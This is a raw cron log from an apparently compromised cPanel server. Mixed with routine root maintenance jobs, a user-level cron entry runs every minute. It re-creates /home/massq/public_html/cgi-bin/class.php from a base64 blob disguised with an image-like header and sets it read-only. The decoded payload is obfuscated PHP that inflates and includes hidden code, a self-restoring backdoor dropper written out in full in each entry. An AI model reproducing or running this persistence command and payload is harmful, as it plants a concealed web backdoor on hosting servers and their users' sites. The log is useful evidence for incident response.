Nov 14 03:04:01 server CROND[5196]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:05:01 server CROND[6178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 03:05:01 server CROND[6181]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 03:05:01 server CROND[6184]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:05:01 server CROND[6185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 03:06:01 server CROND[7166]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:07:01 server CROND[7950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:08:01 server CROND[8891]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:09:01 server CROND[9834]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:09:01 server CROND[9835]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 03:10:01 server CROND[10700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 03:10:01 server CROND[10701]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:10:01 server CROND[10702]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 03:10:01 server CROND[10704]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 03:11:01 server CROND[11759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:12:01 server CROND[12621]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 03:12:01 server CROND[12622]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:13:01 server CROND[13478]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:14:01 server CROND[14319]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:15:01 server CROND[15188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 03:15:01 server CROND[15189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 03:15:01 server CROND[15190]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:16:01 server CROND[16194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
